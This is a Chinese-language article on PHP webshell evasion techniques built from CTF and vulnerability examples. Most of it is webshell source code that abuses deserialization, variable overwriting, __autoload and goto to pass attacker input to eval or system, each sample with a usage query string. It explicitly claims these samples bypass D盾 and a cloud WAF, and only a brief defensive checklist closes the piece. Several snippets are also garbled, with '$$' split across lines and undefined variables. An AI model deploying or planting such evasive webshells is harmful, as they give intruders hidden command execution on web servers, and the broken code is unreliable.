从漏洞与ctf中学习webshell的免杀
字数 983 2025-08-06 21:48:51
PHP Webshell免杀技术深度解析
0x00 前置知识
PHP漏洞在Webshell中的应用
PHP中可用于Webshell构造的漏洞类型包括:
- 反序列化漏洞
- 变量覆盖漏洞
- 代码执行漏洞
- 文件包含漏洞
反序列化在Webshell中的利用
反序列化漏洞通过PHP的16个魔术方法实现Webshell功能,但需要注意:
- 某云WAF会检测"加载自定义类"和"类的实例化"这两个特征
- 污点追踪经过这两点路径就会被检测
反序列化Webshell示例:
<?php
class A {
function say() { echo "xxxx"; }
public static function __callStatic($func, $arr) {
$c = array_shift($arr);
eval($func.$c);
$a = $_GET['a'];
$c = $_GET['x'];
$$
a = $c;
$d = substr($cbc, 0, 2);
$e = substr($cbc, 2);
$app = new A();
$app::$d($e);
}
}
?>
使用方法:?x=phpinfo();&a=cbc
变量覆盖漏洞利用
简单示例:
<?php
$a = $_GET['x'];
$b = $_GET['y'];
$$
a = $b;
eval($xss);
?>
<!-- ?x=xss&y=phpinfo(); -->
0x01 实际测试案例
案例1:简单免杀绕过D盾
初始代码:
<?php
header("Content-Type:text/html;charset=utf-8");
class A {
private $b = 'aa';
public $c = 'xx';
public function __get($c) {
eval($c);
if(md5($_GET['m'])==='62888be80bab8996808b3ea1a07954fa'){
$app = new A();
$app->$_POST['x'];
} else {
print("no!no!no!");
}
}
}
?>
绕过方法:添加$m = $c;这一行即可绕过D盾检测
案例2:CTF实例绕过
CTF题目分析:
<?php
class ctfShowUser {
private $username = 'xxxxxx';
private $password = 'xxxxxx';
private $isVip = false;
private $class = 'info';
public function __construct() {
$this->class = new info();
}
// ...其他方法
}
class info {
private $user = 'xxxxxx';
public function getInfo() {
return $this->user;
}
}
class backDoor {
private $code;
public function getInfo() {
eval($this->code);
}
}
?>
利用方法:
- 构造反序列化payload
- 通过cookie传递序列化数据
- 访问URL:
/?username=1&password=2
案例3:使用__autoload函数
示例代码:
<?php
header("Content-Type:text/html;charset=utf-8");
class A {
public $a;
public function __construct($a) {
$c = $a;
if(strlen($a)>2){
$this->a = $c;
eval($this->a);
print('xxx');
} else {
print("NONONO");
}
}
}
function __autoload($className) {
$b = $_GET['a'];
new A($b);
print($className);
print('xx');
}
$filePath = "cs.txt";
if(is_readable($filePath)) {
require($filePath);
if(1) {
$a = new abc();
} else if(0) {
$a = new A();
$b = new B();
}
}
?>
使用方法:?a=phpinfo();
0x02 高级免杀技术:goto函数利用
goto函数基础
PHP中的goto操作符:
- 用于跳转到程序中的另一位置
- 限制:不能跨函数/类方法,不能进入循环/switch结构
- 常用于代替多层break
Webshell实现
基础版本:
<?php
header("Content-Type:text/html;charset=gbk");
test4:
error_reporting(0);
goto test1;
test2:
if($m == NULL){
print('NO');
} else {
$m($l);
$o();
}
goto test3;
test1:
$l = $_GET['x'];
$l = base64_decode($l);
goto test2;
test3:
$m = $_GET['m'];
$o = $_GET['o'];
goto test4;
?>
使用方法:?x=aXBjb25maWc=&m=system&o=exit(x参数为base64编码的命令)
增强版本(支持Webshell管理):
<?php
header("Content-Type:text/html;charset=utf-8");
test4:
error_reporting(0);
goto test1;
test2:
if($l == NULL){
print('NO');
} else {
print('OK');
eval($l);
$o();
}
goto test3;
test1:
$l = 'x';
$l =
$$
l;
print($l."ll");
goto test2;
test3:
$m = $_GET['m'];
$x = $_POST['y'];
$o = $_GET['o'];
goto test4;
?>
特点:结合变量覆盖技术,增强免杀效果
0x03 总结与防御建议
免杀技术要点
- 组合拳策略:结合多种技术(如反序列化+变量覆盖)
- 非常规函数利用:如goto、__autoload等
- 变量混淆:通过变量覆盖、间接引用等方式干扰WAF检测
- 执行流程控制:使用跳转、循环等改变代码执行路径
防御建议
- 代码审计:人工审计仍是检测高级Webshell的最有效方法
- 多层防御:结合静态检测、动态检测和行为分析
- 输入过滤:严格过滤所有用户输入
- 最小权限原则:限制PHP执行权限
- 监控异常行为:如eval、system等危险函数的调用
Webshell免杀与检测是持续对抗的过程,理解WAF工作原理和PHP语言特性是开发有效防御措施的关键。